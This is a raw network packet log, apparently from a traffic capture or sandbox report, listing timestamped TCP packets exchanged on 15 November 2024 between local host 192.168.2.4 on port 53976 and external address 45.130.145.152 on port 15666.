Nov 15, 2024 10:28:51.950371027 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.950412989 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.953572035 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953583956 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953600883 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953614950 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953633070 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.953644991 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953655005 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953694105 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.953702927 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953718901 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953730106 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953738928 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953748941 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.953816891 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953828096 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953840017 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.953856945 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953867912 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953876972 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953917980 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.953947067 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953957081 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953965902 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.953984022 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954041004 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954073906 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954083920 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954092979 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954102039 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954113007 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954144955 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954145908 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954163074 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954170942 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954173088 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954211950 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954225063 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954241991 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954252005 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954298019 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954307079 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954346895 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954358101 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954402924 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954406023 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954427004 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954438925 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954463959 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954466105 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954503059 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954514027 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954545975 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954555988 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954555988 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954586983 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954598904 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954639912 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954651117 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954678059 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954689980 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954724073 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954734087 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954777002 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954787970 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.954819918 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954972982 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.954982042 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955010891 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955244064 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955250978 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955262899 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955281019 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955332041 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955338955 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955382109 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955405951 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955421925 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955446959 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955471039 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955512047 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955565929 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955581903 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955600977 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955617905 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955656052 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955708027 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955735922 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955759048 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955791950 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955816031 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955856085 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955920935 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955931902 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.955981970 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.955997944 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956008911 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956039906 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956048012 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956052065 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956054926 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956077099 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956124067 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956125021 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956137896 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956155062 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956165075 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956181049 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956182957 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956209898 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956228971 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956233025 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956239939 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956273079 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956283092 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956294060 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956315041 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956347942 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956362963 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956373930 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956406116 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956406116 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956418037 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956439018 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956473112 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956497908 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956512928 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956512928 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956522942 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956551075 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956573963 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956584930 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956625938 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956640959 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956650972 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956707954 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956736088 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956746101 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956780910 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956790924 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956835032 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956851959 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956895113 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956898928 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.956907034 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956934929 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956963062 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956973076 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956983089 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.956986904 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957007885 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957017899 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957034111 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957055092 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957065105 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957073927 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957093954 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957127094 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957138062 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957153082 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957174063 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957218885 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957231045 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957252026 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957262039 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957281113 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957289934 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957290888 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957313061 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957319021 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957324028 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957334995 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957344055 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957356930 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957361937 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957367897 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957379103 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957389116 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.957389116 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.957443953 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.958544970 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958585024 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958643913 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.958683014 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958693981 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958766937 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958776951 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958786011 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958796024 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958808899 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.958815098 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958827019 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958846092 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958857059 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958862066 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.958884954 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958884954 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.958895922 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958921909 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958925009 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.958931923 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958971977 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958981991 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.958983898 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959054947 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959064960 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959094048 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959117889 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959119081 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959131002 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959180117 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959189892 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959218025 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959223032 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959230900 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959264040 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959275007 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959284067 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959294081 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959304094 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959347010 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959362030 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959372997 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959403038 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959414959 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959434986 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959472895 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959511042 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959546089 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959556103 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959588051 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959594965 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959598064 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959628105 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959682941 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959683895 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959693909 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959722042 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959733009 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959764957 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959767103 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959780931 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959799051 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959810019 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959825993 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959872007 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959883928 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959887028 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959909916 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959918976 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.959944010 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959975958 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.959989071 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960010052 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960036039 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960042000 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960052013 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960088968 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960099936 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960102081 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960233927 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960244894 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960279942 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960325003 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960340977 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960360050 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960407972 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960468054 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960490942 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960516930 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960567951 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960601091 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960674047 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960726976 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960762024 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960772991 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960810900 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960834026 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.960853100 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.960988045 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961020947 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961030960 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961049080 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961066961 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961088896 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961097002 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961102962 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961122990 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961123943 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961133957 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961157084 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961158991 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961169958 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961189985 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961201906 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961201906 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961236954 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961252928 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961263895 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961266041 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961302996 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961316109 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961359024 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961388111 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961426973 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961433887 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961446047 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961499929 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961509943 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961533070 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961543083 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961544991 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961555004 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961563110 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961576939 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961610079 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961636066 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961641073 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961658001 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961669922 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961687088 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961714983 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961724997 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961729050 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961772919 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961796999 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961807013 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961817026 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961865902 CET	53976	15666	192.168.2.4	45.130.145.152
Nov 15, 2024 10:28:51.961915970 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961941004 CET	15666	53976	45.130.145.152	192.168.2.4
Nov 15, 2024 10:28:51.961951971 CET	15666	53976	45.130.145.152	192.168.2.4
